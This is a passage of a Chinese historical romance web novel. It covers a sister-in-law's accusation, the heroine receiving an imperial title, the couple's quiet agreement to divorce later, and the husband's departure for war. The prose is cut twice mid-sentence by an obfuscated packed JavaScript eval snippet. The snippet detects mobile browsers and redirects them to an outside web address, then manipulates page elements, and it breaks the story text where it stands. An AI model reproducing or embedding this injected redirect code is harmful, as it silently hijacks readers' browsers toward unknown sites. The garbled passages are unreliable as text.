云娆平素敬她诸事操劳,极少与之口角相争,此刻却被薛氏恶心的不轻,径直挑明道:“大嫂的意思,是怀疑我出府是为见他?” 她诘问得直白,眼底更是暗藏锋芒。 薛氏反而被问得一怔。 她原本认定了老张头是栽在燕熙手里,笃定云娆心内藏私,被当众揭穿后必定会露出马脚。届时,不管云娆与燕熙之间是藕断丝连,还是要一刀两断,只消步步紧逼,总能让这小官之女自乱阵脚。 谁知此刻争锋相对,云娆竟毫不露怯? 满屋安静,连太夫人都沉下了脸。 薛氏并无真凭实据,没能从云娆身上窥出破绽,旁边的范氏已抽身退出安静看戏,一时间被架在那里,有些进退维谷。 便只能强笑着道:“倒也不是这个意思,弟妹也无需动气。只不过人言可畏,尤其咱们这种人家,品性德行丝毫不能出错,免得让人议论,该留神避嫌防患未然才是。” 话音未落,外头忽有珠帘轻响。 屋里众人都被妯娌间的口角吸引了注意,竟没一个人察觉有人靠近,直到听见珠帘响动才陆续瞧过去。 就见裴砚站在门口,神色冷沉。 …… 裴砚今日原本去了校场,因有事回府寻云娆,才只身赶来这荷池畔的水榭。 他久经沙场,练出了极佳的耳力。 离水榭不远时他就听见了里头隐约的说话声,因听起来似乎跟云娆有关,便格外留意。到了跟前,也早早示意仆妇丫鬟不必行礼通报,就这么不声不响的到了门外。 薛氏的追逼,云娆的反诘,他都听得一清二楚。 此刻瞧见云娆面笼寒霜,是成婚以来从未有过的不悦姿态,裴砚对薛氏愈发不满,朝太夫人行过礼之后,便向云娆道:“怎么不高兴了?” 他的语气堪称温和。 云娆望着他,只觉那眼神如暖流直触心底,无端将方才憋着的气怒化为委屈,一时让她不知该从何说起。 倒是旁边范氏端着茶杯,轻轻吹了口浮沫道:“也没什么大事。朝华方才紧追着提醒,怕云娆跟那位燕公子往来,会惹人非议。” 朝华是薛氏的名字。 而范氏说这话时语气微藏暗嘲,听起来倒像是怪薛氏狗拿耗子多管闲事,这会儿趁机在裴砚跟前告状一般。 薛氏察觉她的挑拨,着实气得够呛。 裴砚则冷冷瞥了眼薛氏,稍加思索便向云娆道:“是说燕熙公子?” “嗯。”云娆轻声。 裴砚便哂笑道:“原来如此。倒真是有劳大嫂费心,连这种八竿子打不着的细微琐事都知道。” 他这话不掩讽刺,听得薛氏几乎面红耳赤。 旁边范氏和太夫人却异口同声道:“你认识那位燕公子?” 裴砚不答反问,“认识他很奇怪吗?” 这话说出来,在场众人谁还看不明白? 云娆和燕公子是否真有往来姑且不论,人家裴砚早就将媳妇娘家的亲友摸清楚了,这会儿只看他维护云娆的姿态,便知里头没什么猫腻。 更何况云娆的马车和车夫都是裴砚安排的,小夫妻俩早就摊开的事,外人在那里揣测提醒,未免显得十分可笑。 孙氏在婆母身边看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822378|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半天戏,此刻觑向薛氏吃瘪后青红交加的脸色,差点没忍住笑。 云娆既已洗清,再也懒得搭理薛氏。 便问裴砚,“你怎么来了?” “宫里打发人来传旨,就在外面厅上,跟我走。”裴砚说话间轻拍了拍云娆的肩膀,似有宽慰之意。 上首太夫人听闻,忙问道:“宫里有旨?是为什么事?” 裴砚脚步微顿,“想必是皇上称赞江氏的品性才德,特意下旨封赏。” 说罢,头都没回,带着云娆大步离去。 但屋里所有人都听得出来,裴砚那句话是故意说给薛氏听的。 薛氏偷鸡不成蚀把米,顿时面红耳赤的僵在原地。 …… 迎接云娆的确实是承平帝的封赏。 晴日高照,被雨洗过的树影在风里婆娑摇动,投下斑驳细碎的光影。 宫人手捧明黄圣旨,念着上头赞誉的辞藻,宣明为云娆加封五等令人的旨意,又含笑向云娆道喜。 云娆听罢圣旨,几乎呆在当场。 还是旁边裴砚轻轻提醒,她才想起来叩首谢恩,恭恭敬敬地接了圣旨。 待宫人领了裴砚备的谢礼后登车离开,云娆随他往枕峦春馆走时,还有些不敢置信—— 依朝中规矩,官居四品及以上者,方可为女眷请封五等令人的诰命。像婆母范氏和长房的崔氏,因裴元曙兄弟官位不算高,如今还只是六等恭人的诰命,只因身在侯府才格外殊遇罢了。 如今她陡然跃居其上,算起来,满侯府女眷里,她这品级仅逊于在老侯爷袭爵时就已加封的太夫人。 这般加封,甚至让云娆有些惶恐。 她瞥向身侧的裴砚,欲言又止。 裴砚像是旁边长了眼睛,瞥了眼加封的圣旨,觑着她道:“怎么,高兴傻了?” “就是觉得受宠若惊。”云娆瞧了瞧周遭,确信除了贴身随行的青霭之外没有旁人,才小声道:“母亲她们好像还只是恭人。” 说完话她又觉得不对,什么叫“只是恭人”呢? 诰命难得,哪怕男人在朝中的品级到了,皇帝也未必会加封其女眷。崔氏和范氏她们恭人的诰命其实已是挺高的品级了,她从前在闺中的时候随母亲外出交游,碰见八等安人、九等孺人,也是颇羡慕恭敬的。 便忙改口道:“我的意思是,这诰命品级越过长辈,让我有些惶恐。” 她甚少这样语无伦次,足见这诰命让她有多惊喜意外。 裴砚不由勾唇,“不必惶恐,这是你该得的。” 若是放在盛世太平之时,让一个刚嫁进侯府的新妇诰命越过长辈,于情于理都不甚合适。 但如今情形特殊。 京城外的流民之乱愈演愈烈,太子派去的人都铩羽而归,军士们性命折损过半,也将士气消磨得十分低落。 朝廷正是用人之际,既要能征善战的将领身先士卒,也需军士们士气高涨冲锋陷阵,免不了格外激励。侯府旁的男人不甚出挑,唯有裴砚是威名震慑北夏的悍将,承平帝破格封赏,也是存了激励将士们的心思。 且云娆有这么个护身符,哪怕过些天他出京征战,她在侯府的处境也能安稳许多。 裴砚有战功傍身,对此受之泰然。 云娆可就没他这么坦然了。 当初冲喜嫁进侯府,她其实是不太愿意盲婚哑嫁的,这事儿无需遮掩。后来裴砚沙场凯旋,她除了照料起居之外其实没为他做过什么。如今一人得道鸡犬升天,她平白得了这么大的封赏,搁谁看来都是走了大运。 可无功不受禄,天下哪有平白享美事的? 何况她跟裴砚至今默契的分房睡,谁都没提过往后的事。若他日裴砚有了中意的女子,或是她有了合适的机会离开侯府,将诰命退回去会不会很麻烦? 云娆觉得,有必要跟裴砚好生聊一聊了。 既存了这般心思,晚间沐浴过后她便没急着去榻上歇息,只将头发好生挽起来,连同寝衣领口都收拾整齐,屏退旁人后在桌边坐着。 等裴砚盥洗毕走出来,就见她独坐在绣凳上,正对灯出神。 夏日的夜晚仍有稍许余热,他这儿坦胸露腿,她却将寝衣穿得严实,只有一双柔白的玉足未着罗袜,松松垮垮的趿着软鞋。 博山炉上熏着淡香,长垂的纱帘隔开窗外的动静,柔暖烛光照在她安静的侧脸,固然入目柔美,却不是平素巧笑嫣然的模样。 得封诰命,换了旁人必定是欢天喜地。 她今晚却似藏有心事。 裴砚虽被人视为只会打仗的粗豪武将,实则遇事颇为心细。回京的这两月里,云娆体贴照顾着他的饮食起居,却从未有半点在夫君跟前献媚博宠之举,甚至好像还挺喜欢夫妻分房睡的默契。 这小姑娘,当真是打着别的主意吗? 也罢,择日不如撞日。 裴砚的视线扫过窈窕身段,轻咳着清了清嗓子,饶有兴味地坐在云娆对面,随手抓了她斟好的茶来喝,问道:“想什么呢?” 云娆闻言抬眸,正对上他的视线。 微微晃动的烛光之下,那双眼睛如同暗夜星辰,明亮却又难以捉摸。 31. 想亲 夏夜安静,唯有窗外草虫蛰鸣。 云娆与裴砚对视之间,无端有种心事被窥破的感觉,下意识挪开视线。 而后便扫见了男人半赤的胸膛—— 他刚回京城的时候才值初夏时节,那会儿夫妻俩对彼此还颇陌生,裴砚气度端毅冷清,将衣裳穿得还算严整。如今也不知是天气炎热的缘故,还是日渐熟稔后没了顾忌,他这寝衣穿得是越来越随意了,只松垮套在肩上束着腰腹,将那精壮的胸膛袒露了大半。 云娆甚至有点怀疑,若不是顾忌着仆妇丫鬟们,裴砚可能都懒得穿上衣。 真当她是瞎子么? 她垂下眼眸,脑海里蓦然浮起上回同宿西竹馆时裴砚坐在浴桶里睡着了,她不慎扫见的劲瘦腰腹,当真是让人…… 心头微微一跳,她赶紧抿了口茶。 “今日大嫂说的那些话,将军是都听到了么?”她有点忐忑地开口。 “倒是听了不少。”裴砚竟还有心情笑,“府里人多,是非也多,不必搭理那些闲言碎语。” 他愿意相信她,云娆自然是欢喜的,眼底不由浮起笑意道:“将军慧眼如炬,果然没被那些小把戏蒙蔽。我与燕公子相识不假,但这些天出门都是去见雕刻师傅们,除了有一次去看母亲和嫂嫂,有一次与骊英会面,没见过旁人。” 她语气诚恳,解释得认真。 裴砚忍不住逗她,“怕我疑心于你?” 云娆有点不好意思的笑了笑。 侯门里讨生活不容易,不管往后是去是留,她的前路都牵系在裴砚身上,得罪谁都不能得罪他。 而且…… 云娆迟疑着,想探一探裴砚对这门婚事的打算,琢磨好的话到了嘴边,却又如坠着百斤重的橄榄般吐不出来—— 这种事实在是不好启齿。 半敞的窗外有风拂过,摇动桌上火苗。 裴砚瞧着她欲言又止的模样,终于还是率先捅破那层窗户纸,问道:“你是不是不想留在侯府?” 云娆微怔,不由抬头看他。 他的脸上没有预想中的愠怒或不满,仿佛早已窥破了她那点小心思。 云娆不由舒了口气,殷勤地给裴砚斟满茶杯,陪着笑脸道:“将军勿怪。其实当初若不是冲喜,我是绝无可能嫁进侯门的。江家是什么底子,将军比我更清楚,打小儿母亲也没指望我嫁入高门,能有个好人家安稳度日就行,所以……” 她小心翼翼地打量裴砚,道:“我在家懒散惯了,既不懂高门贵户的规矩,也难以讨长辈欢心,只会给将军添乱。” “怎么说得你一无是处似的?” 裴砚瞥向她纤秀的指尖,“不是还会雕版么?这手艺可比旁人强多了。” 云娆被夸得一笑,绞着指尖道:“可这是要跟商贾和老师傅们打交道的,说起来也跟侯府的富贵气象格格不入。” 所以……她其实不适合留在侯府。 云娆到底没勇气将这句话直接说出来。 毕竟,这就意味着她想跟成婚未久的裴砚和离,而她一介小官之女,哪来的资格跟正得圣宠的裴砚说这种话呢? 云娆看着烛光下男人峻整的眉眼,没来由的有些心虚,忙起身去关窗权做掩饰。 裴砚坐在原处,觑着她背影。 不知怎的,脑海里忽然浮现那日深巷遇险,她站在燕熙身后被人庇护着的模样,也是这样柔弱纤秀,却又窈窕生姿。 他相信云娆是拎得清的人,不至于嫁了人还跟燕熙藕断丝连。 但心底那股潜藏的微妙酸意涌起,他还是半开玩笑地道:“原来是不喜欢这座侯府。我还以为你是瞧不上我,更偏爱燕公子那样的翩然之姿。” 云娆才刚阖上窗扇,被他这句话唬得手上一抖,忙回头道:“没有没有,将军可比他强多了!” “是么?” “那当然!燕公子虽说中了进士,到底也只是未经历练的纸上功夫,家兄也是科举入仕,这上头我还是有点数的。不像将军,这些年战功累累,护得万千百姓安稳无虞,这份胸怀和勇毅岂是旁人能比的。” 裴砚听着她满口夸赞,挑了挑眉。 云娆于是接着夸,“何况,将军虽不曾科举,却有满腹韬略,怕是有深藏不露的学识也未可知。上回在白云岭赴宴,多少人都对将军赞不绝口,只恨没逮住机会把自家女儿嫁过来。” 裴砚被她这马屁逗得一笑。 这嘴甜得,是刚吃了蜜吗? 不过话都说到了这里,云娆的态度已颇明朗。 裴砚便不再兜圈子,抬眸道:“旁人只恨没逮住机会,你却觉得侯府里不得自由,想离开,是不是?” 云娆看他不似说笑,便认真点头。 裴砚心里似有一瞬的拧巴。 为她这毫不留恋的态度。 不过他最初原也没打算将这婚事坐实,如今见云娆无意,只能将心头那点微妙的情绪压下,起身道:“这门婚事原就是我那嫡母心内藏奸,自行撺掇的。当时情势所迫,我没能拦住她,反耽误了你的婚事。既然你不喜侯府,我将来也未必会常留京城,倒不必勉强。” 他顿了顿,见云娆似松了口气,便又道:“等时局安稳些,我写封和离书,再送上一份厚厚的嫁妆,送你回家另嫁如何?” “也不枉咱们相识一场。”末了,他如是说。 云娆未料他答应得如此爽快,忙含笑道:“嫁妆就不必了,我怎敢无功受禄。将军如此开明,已令我十分感激。且将军能征善战,威名远播,将来若有中意的女子,必是极出挑的,那才配得上将军所给的荣宠与厚爱呢!” 裴砚笑了笑,“好生待着吧。有诰命在,应该没人为难你。” 说罢,便抬步去外间睡觉。 云娆目送他背影隐入对面的帘帐之后,不由长长松了口气,而后就有点出神。 当初被迫冲喜而来,她确实盼着早日离开侯府。 原以为裴砚若肯答应和离,自己必定会喜出望外,可这会儿夫妻俩把话挑明,她虽坦荡松快了许多,心头欢喜之余却萦绕着一股难言的情愫。说不上是什么感觉,只是忍不住往裴砚睡榻的方向望了两眼。 若和离后各自婚娶,他会看上怎样的女子呢? 临睡之前,云娆如是猜测。 …… 翌日清晨云娆去惠荫堂问安时,范氏的态度明显和善了许多,自然是诰命的功劳了。 到得如意堂,崔氏妯娌虽因晚辈的诰命越过自身而态度有点微妙,不过帝王如此器重裴砚,老侯爷和太夫人都为此高兴,她们也只能恭喜罢了。又叮嘱云娆务必谨言慎行,切勿辜负皇恩。 云娆自是恭敬受教。 平辈之中,明氏、秦氏和裴雪琼与她相交甚好,也都为她欢喜。 孙氏和裴锦瑶固然心里犯嘀咕,当着众人的面却不敢表露,便只道喜罢了。 唯有薛氏格外不自在。 昨日她在水榭里故意挑起燕熙的话题,原是想逼云娆自乱阵脚,再无威势可仗。谁知非但没揭出云娆的短,还险些被裴砚怼得无地自容,那加封诰命的圣旨更是如一记耳光扇在脸上,让她这当家少夫人大失颜面。 从前不放在眼里的小官之女,骤然跃居在她之上,搁谁心里能够痛快? 薛氏心里憋着气,见不得云娆出风头的场面,给太夫人问安后就借口有事早早走了。 云娆原也没指望跟她处得多好,不过薛氏这般在意,倒让她想起昨日没空琢磨的一点细节来—— 这些天出入侯府她都是让贺峻驱车,半点儿没劳烦府里的人,薛氏怎会知道她去了哪里? 除非有人盯着她的行踪。 且先前贺峻曾提过,似乎有人暗里尾随于她,只是不曾闹出什么,便没让贺峻去逮尾随之人。 如今看来,莫非那人是薛氏安排的? 疑心既然生起,傍晚夫妻俩一道用饭的时候,云娆便跟裴砚提了此事。 裴砚听后也没觉得意外,只是道:“她毕竟管着后宅,这种事未必是头一次做。你既疑心,回头让贺峻盯紧些,问出主使。若不便与她对质,等我回来处置就是。” 云娆诧异道:“回来?将军难道有事要出去?” “不然你以为皇上为何忽然加封诰命?”裴砚吃饱喝足后搁下碗筷,拿旁边备着的茶漱了口,道:“五日之后我与宁王率军出征,这一去,说不准得多久。” 云娆才搛了肉末茄子,听到这话,顿时觉得嘴里那茄子没了味道,囫囵咽了下去,道:“是外头盛传的流民之乱吗?将军可得保重自身!” 裴砚不置是否,只是道:“此事暂勿宣扬。” “我知道。不会乱说的。” 裴砚颔首,“那天听你跟常妈妈念叨侄儿的满月宴,我是赶不上了。明日陪你回娘家一趟,之后我不在京城,你出门务必带着贺峻。” 他叮嘱得认真,云娆自是用心记下。 裴砚则在歇了会儿后纵马出府,踏着暮色赶往宁王魏铎的府邸。 自打四月里回京,他们其实一直在操练。 先前流民四起,岭南地处偏远,虽说乱民烧县衙的动静闹得挺大,当地的节度使倒还能压得住。青州那边的情势却颇为严峻,哪怕朝廷派了禁军过去,也没能镇住乱象。 承平帝一心要稳固东宫,先前都是选用太子推荐的将领,只可惜魏元载学识有余胆气不足,始终没能举荐出堪当大任的猛将。 这数月间,当地节度使如同空置,朝廷的兵马一波波派出去,非但没扼住乱象,那流民之乱也从青州逐渐蔓延到齐州、魏州等地,眼瞧着是要往京城过来。 承平帝在深宫里觉出危机,丝毫没了书画泼墨的雅兴,也不敢再强保太子,少不得动用宁王和裴砚等人。 宁王既承皇命,自须用心应对。 一面派人先行去打探,一面与兵部商议战事,既是想摸清先前几番作战的情形,也是想探探那位节度使究竟是何居心。 …… 朝堂上为流民之乱忧心忡忡,寻常百姓家里却还算太平安稳。 哪怕因着乱象,有些岭南、青州等地的东西运不到京城,也让商户不敢前往远处做生意,对寻常官民而言,影响倒也不是太明显。 譬如江家。 除了在京郊为官的江伯宣因流寇而格外操心,江慎在京城里的小官职未受太多影响,仍如常点卯潇洒度日。徐氏铺子里的生意虽不及从前红火,却也有宽绰的银钱入账,能让儿孙优渥度日。 得知小夫妻俩要来娘家看望,便早早让人在照月轩安排了小宴。 ——那地方虽不算宽敞,底下却挖了口深井,井盖留有圆孔,这时节凉气漫上来,再配上些冰块,是个消暑的好地方。 这头安排妥当,侯府的马车便已至门前。 云娆与裴砚先去拜见祖母,再去看望苏春柔和小侄儿江凇。 比起刚出生时皱巴巴红扑扑的样子,小家伙这会儿倒白净了不少,胖乎乎的身子裹在轻薄透气的小衣服里,一身奶味儿睡得正熟。 苏春柔则歇在榻上,正给孩子缝衣裳。 入伏之后暑热愈来愈浓,徐氏怕母子俩捂出痱子,每日都让人多买些冰放在苏春柔房里。流水般的银子花出去,非但免了母子俩受暑热之苦,也让苏春柔歇息调养得极好,脸色红润而神清气爽。 云娆瞧她气色身子都无恙,自是欢喜。 苏春柔初为人母,气质比从前更添几分温柔,心思也都扑在孩子身上,与云娆说话的间隙里不时瞥向襁褓,唇边笑意就没停过。 姑嫂说体己话的间隙里,她还努嘴指了指外间,低声打趣云娆,“妹夫瞧着冷硬,对孩子倒像是挺有耐心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837245|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云娆抿唇笑着,不由望过去。 垂落的绣春纱帘隔开次间与卧房,因着质地极薄,其实外头的人影动静都颇为清晰。 孩子哄睡着后乳母暂时去了外头歇息,小丫鬟颇有眼色的退到不远处,此刻只剩裴砚蹲在摇床旁边。 他今日穿了身玄色长衫,玉冠锦靴衬得气度威仪,方才还被休沐在家的江慎猛夸武将风范。这会儿却静静蹲在那里,一只手探进襁褓,轻轻摩挲着婴儿柔软的肌肤,好半天都保持着同样的姿势,唯有唇边笑意愈来愈深。 苏春柔不由低笑道:“我瞧他是喜欢孩子的。你们什么时候有信儿啊?” 云娆被她打趣得有点不好意思,低嗔道:“别胡说了!” “怎么就叫胡说了?”苏春柔可不认。 二月里云娆出阁冲喜时,她也曾满怀忧虑,怕云娆应付不来侯门的长辈妯娌,更怕沙场征伐的裴砚性情刚毅,不懂得疼人。直到前次夫妻俩回门,见裴砚待云娆还算体贴,才放心了不少。 如今裴砚蹲在那里逗弄孩子,如猛虎伏在娇儿之侧,不见狠厉,唯余温和。 年已廿六的男人,换在别家早就当爹了。裴砚守着个娇滴滴的妻子,难道就毫无触动? 苏春柔笑着捏了捏云娆的手。 云娆还不敢袒露她跟裴砚商量日后和离的事,瞧着裴砚那模样,倒是想起来了—— 他既没打算做长久夫妻,今日陪她来娘家应是做给众人看看,免得她被人猜疑不得丈夫欢心,继而惹至亲忧心。不过他一番好意,她却不敢耽误事儿,出征在即的人必定有许多事要筹备,耽搁在这里终归不妥。 待看完苏春柔母子,她便以公事繁重为由请裴砚自去忙碌。 江伯宣不在家,裴砚与江慎父子几个确实也无话可说,便自赶去宁王府中,只说晚间来接云娆回府。 他离开后没多久,江家又来了客人。 ——是沈骊英母女两个。 沈家与江家算是旧交,云娆与沈骊英自幼交好,时常上街同游、踏青赏花。 如今云娆嫁进侯府,沈骊英也出嫁在即,因出阁之宴在七月初四,小江凇的满月之宴在七月初八,沈家怕届时太忙,有意提前道贺瞧瞧孩子,得知今日云娆回娘家,便紧着赶了过来。 小姐妹难得重聚,自是万分欢喜。 徐氏备的小宴也派上了用场,在沈骊英母女探望过孩子后便请到照月轩中入席,并捧上甜酒。 这一入席,就消磨了整个后晌。 因沈骊英是要嫁到京城外,云娆日后与她相见的机会愈发少了,今日便似有说不完的话。且那甜酒酿得十分好喝,小姐妹俩慢叙闲聊之间,不自觉便喝了许多。 等晚饭后裴砚来接,就见云娆脸颊红扑扑的,连眼神都稍有点迷离。 徐氏怕女儿喝多了在裴砚跟前失态,迟疑着道:“瞧她这迷糊样子,是有点醉了。不如今晚就留在西竹馆,明儿再着人送回去吧?” “无妨。”裴砚见惯了醉汉,云娆这点儿醉意可算小菜一碟,想着西竹馆不如枕峦春馆诸事齐备,仍将她扶上了马车。 贺峻驱车离开,徐氏站在府门前瞧着马车没入夜色,多少还是有点悬心。 云娆这会儿却没心思惦记别的。 今日与小姐妹团聚,固然离别令人伤怀,因沈骊英嫁的是早就相中的知根知底的人家,往后的处境不会坎坷,她其实很为好友高兴。加之苏春柔产后调养得极好,小侄儿又胖乎乎的十分可爱,这顿酒喝得可算畅怀。 此刻夜色褪去暑热,她脑袋里有点晕乎乎的,因着心绪极好,瞧向裴砚时都觉得这男人慈眉善目,不由浮起笑意。 裴砚看她傻笑,忍不住勾了勾唇。 “今儿是喝了多少?”他问。 “没喝多少吧。”云娆拿手比划,“母亲备了一二……三坛甜酒,都喝差不多了。” 裴砚差点被她惊着,“三坛?” “还有骊英和沈夫人啊,又不是我一个人喝的。”云娆笑眯眯望着他,在马车拐弯时身子微晃,趁势靠在裴砚肩头。 然后她就懒得挪动了,只是嘀咕道:“比起将军的酒量,我这点算不得什么。” 裴砚看她喝醉了身体泛软,怕路上磕着,便拿手臂将她兜在怀里,笑道:“那你加把劲,回头超过我。” “我哪有那本事。”云娆笑嘻嘻的。 裴砚小心翼翼地揽着怀里的软玉温香,随口道:“今日在宁王府碰见燕熙,他说想随军出征,到沙场上历练。” “唔,那也挺好的。” 云娆靠在他怀里,酒意上涌时有点犯困,脑袋迷糊间隐约猜到裴砚的意图,便仰头冲着他笑,“你也不必拿燕公子来试探,我跟他没什么。哪怕你这会儿把我送出侯府,也无需我去操心他的前程。” “不过他是哥哥的好朋友,若能得偿所愿,也……” 她的声音渐而含糊,就那么靠在他身上睡了过去。 裴砚垂目,视线落在她修长的眼睫。 他不是心胸狭隘之人,也不至于计较云娆出阁前的旧事。 不过,看出她并未如旁人揣测的那般喜欢燕熙时,哪怕明知两人是终将和离的假夫妻,心里却还是涌起一股高兴的情绪。 他小心将睡着的人儿兜在怀里,借着外头灯笼洒进来的昏暗光线,视线从她的眼睫徐徐挪开,从细碎的鬓发到白嫩的耳垂,从酒后泛红的娇艳脸颊到柔嫩的朱唇。 睡梦里的她轻轻舔唇,不知是不是在回味果酒的甘甜。 裴砚的脑海里却仿佛被烙上了她舔唇的模样。 那样柔软的气息…… 他瞧着怀里娇嫩的脸颊和朱唇,亦清晰感受到少女身上独有的娇软,脑袋里克制不住的涌出一些念头,怎么都压不下去。 唇舌无端干燥,他竟然……想亲她。 32. 旖念 夜色初临,街市上正自热闹。 延绵高挑的灯笼照亮商铺,将整个长街笼罩在柔和昏黄的光芒里,临街的食店窗扇半掩,客人的谈笑夹杂着饭菜的香气蔓延开。孩童们难得夜里凉快,多半缠着父母跑到街上来玩,叽叽喳喳的穿梭在摊贩之间。 贺峻悠闲驱车,感受着市井烟火的气息。 马车之内,裴砚却微微紧绷。 怀里的云娆睡得正舒服,因马车微微颠簸,还将两条胳膊环在他腰间,靠起来更舒服些。 裴砚鼻端是淡淡的酒气和她发髻间的栀子香味,脑海里则盘旋着她阖目安睡时朱唇柔软的模样,那个奇怪的念头挥之不去,他竭力调息。 杂念被压住,感官便格外敏锐。 原本不曾留意的一些细节也随之愈发清晰—— 譬如隔着夏日单薄的衣衫,身体所触之处,她酒后的肌肤格外柔暖。譬如她脑袋靠在他的肩窝,偶尔马车晃动时额头蹭在他脖颈,触感柔软。譬如她的胸膛随呼吸微微起伏,温热的鼻息偶尔落在他扶着她的手臂。 心跳比平常快了些许,连带腰腹都有点紧绷。 裴砚虽未洞房过,却也明白那意味着什么。 他沉目端坐,竭力平复气息。 不知过了多久,马车终于在侯府门前停稳。 贺峻随手摆好踩凳,青霭过来掀起车帘,瞧见自家少夫人在裴砚怀里睡得正舒服,一时间呆在那里。 裴砚叫了声云娆,想让她醒来走回去。 云娆却还在薄醉之中,慵懒乏软之时觉得这枕头还算舒服,脑袋在他肩窝蹭了蹭,找了个更舒服的睡姿。 青霭搓了搓手,偷窥裴砚的神色。 裴砚似乎有点无奈,眼瞧着云娆是真的醉了,便道:“走侧门吧。” 贺峻应命,又驱车往前走了一阵,停在离枕峦春馆更近的那道侧门前面,随手掀起车帘。 裴砚怀里抱着云娆,躬身出了马车,在守门的小厮诧异的眼神里,抱着云娆径直往住处走去。剩下青霭和绿溪对视一眼,乖觉地将徐氏送给小夫妻的几个锦盒收拾好,让人远远地跟在后面送往内院。 枕峦春馆里,常妈妈早已备好了就寝沐浴用的东西,只眼巴巴的等着云娆她们回来。 听见院里有动静,她赶忙迎了出去,才掀起门帘就愣住了——廊下灯笼明照,映出裴砚大步而来时衣衫带风的身影,云娆则被他抱在怀里,裙衫垂曳,只将脑袋埋在他脖颈间。 常妈妈知道夫妻俩素来分房睡,尚无肌肤之亲,陡然见裴砚将云娆抱回来,还以为自家姑娘受伤了,担忧之下忙道:“少夫人怎么了?” “喝多了。”裴砚的声音听不出情绪。 常妈妈心里一紧,赶紧示意金墨去煮醒酒汤,又恭恭敬敬地打好帘子伺候裴砚进去。 夜色渐深,金墨早已铺好了床褥。 裴砚绕过珠帘走至床榻前,小心将云娆放在榻上,手臂从她身下抽出来时,上头早已沁出了一层薄汗。他顾不上打理,只拿手掌托着云娆后脑勺,等常妈妈塞了枕头进来才轻轻放下。 心念迟疑间,那只手却已捋好她的头发,曳在枕畔。 青霭和绿溪拎着东西还没回来,屋里平素又不让旁人伺候,常妈妈只好道:“金墨熬醒酒汤去了,少夫人既醉着,一时间不宜梳洗沐浴。奴婢去泡个栉巾帮她擦擦,烦劳将军照看片刻。” 裴砚颔首让她去忙,就势坐在榻边。 桌后立着灯架,上头的烛光将男人的影子拉得修长,他稍微往前挪了挪,正好遮住照在她眼睛上的明亮烛光。 云娆似乎颇为满意,睡梦里轻笑了笑。 裴砚觑着她安睡的乖巧模样,视线扫过醉后粉嫩的脸颊,扫过黛眉长睫,最后不自觉又落向柔软的嘴唇。 这是夫妻俩新婚的洞房,若非事出有因,他应该早已尝过这香软滋味。 甚至不久前他也曾与她同榻而睡,呼吸交织…… 身后忽而传来珠帘轻响。 裴砚从旖念中惊醒,回头见是金墨来了,便起身将榻边的地方腾出来,吩咐道:“喝得不太多,睡一觉就好了。用心照看着,别叫着凉。” 说罢,快步出了云娆的卧房,回到对面梢间的书房。 胸腔里砰砰乱跳,却不是累的。 …… 云娆一觉睡醒时,正当晨光熹微,外间的裴砚却早已不知所踪。 他既忙于备战,夙兴夜寐也是寻常事了。 云娆昨儿喝的甜酒并不上头,睡过一夜后神清气爽,于是起身趁着清晨的凉爽逛了一圈,回来后沐浴梳洗,照旧去婆母处问安。 过后前往如意堂,才发现府里来了客人。 是姑姑裴英和她的女儿贺染。 裴英并非太夫人嫡出,当初嫁了位老侯爷颇看重的书生,如今在西川节度使麾下主政一方。 不过比起裴元绍跟府里闹翻后携妻远走的决绝做派,裴英虽也跟裴元绍有所照应,对老侯爷夫妇也颇为恭敬。当初裴元绍出走时,她还曾居中劝解过,只是拗不过他的硬脾气,便也只好作罢,还特地为此回京向侯爷夫妇请罪。 侯爷夫妇瞧她恭顺,且女婿仕途顺遂,自然不好责怪什么,之后也没再让她去管裴元绍的事。 及至贺染年长,太夫人还帮着在京城寻了一门不错的亲事,婚期就在十一月底。 这回裴英带着贺染回府,便是为了备嫁。 昨日母女俩回府,太夫人已让薛氏单独安排了住处,还叮嘱晚辈们多加照应,往后若有宴席交游等场合,多带着贺染去长个见识。回头等她嫁进夫家,也不至于对京城的女眷们一无所知。 贺染既住在侯府,便也如裴雪琼姐妹般每日到太夫人跟前问安。 见到云娆时,贺染母女倒颇为客气。 云娆自然也以礼相待。 如是几日,转眼便到六月廿五。 正是一年里最酷热的时候,百姓们恨不得只披一条薄纱躲在井边纳凉,将士们却仍需着甲佩剑,奔赴千余里外的战场。 承平帝亲自为宁王和将士们送行,云娆没法去那样的场合,只能早早地在城外的长亭相候。 日头蒸笼般罩着大地,送行和看热闹的人围了里三层外三层。 云娆来得早些,加之侯府和诰命的名头傍身,倒是能安然坐在高处的凉亭里,由贺峻和青霭等人护着。 待宁王率众出城时,她一眼就看到了裴砚。 高举的旌旗之下,宁王身为主帅一马当先,裴砚身骑战马紧随其后,银盔之下铠甲细密。酷暑难耐,哪怕道旁草木都被晒得蔫头耷脑,他穿着那样厚重的铠甲,却仍在烈日下精神奕奕,身姿端然。 就连皇室贵胄的宁王也不例外。 于百姓而言,这支兵马承载着他们对于太平安稳的期盼,自需军纪严明斗志昂扬。 但对此刻的云娆来说,却无端有些心疼。 她无从想象战场上浴血杀伐的景象,单说眼前这样身着铠甲头顶烈日的辛苦,就已是深闺娇养的她难以承受的。更勿论相隔千里,这些将帅和城外整装待发的小兵们还需冒着暑热往战场跋涉,而后兵戈相见,以血肉之躯博取百姓安宁。 这样的生活,裴砚却已过了十余年。 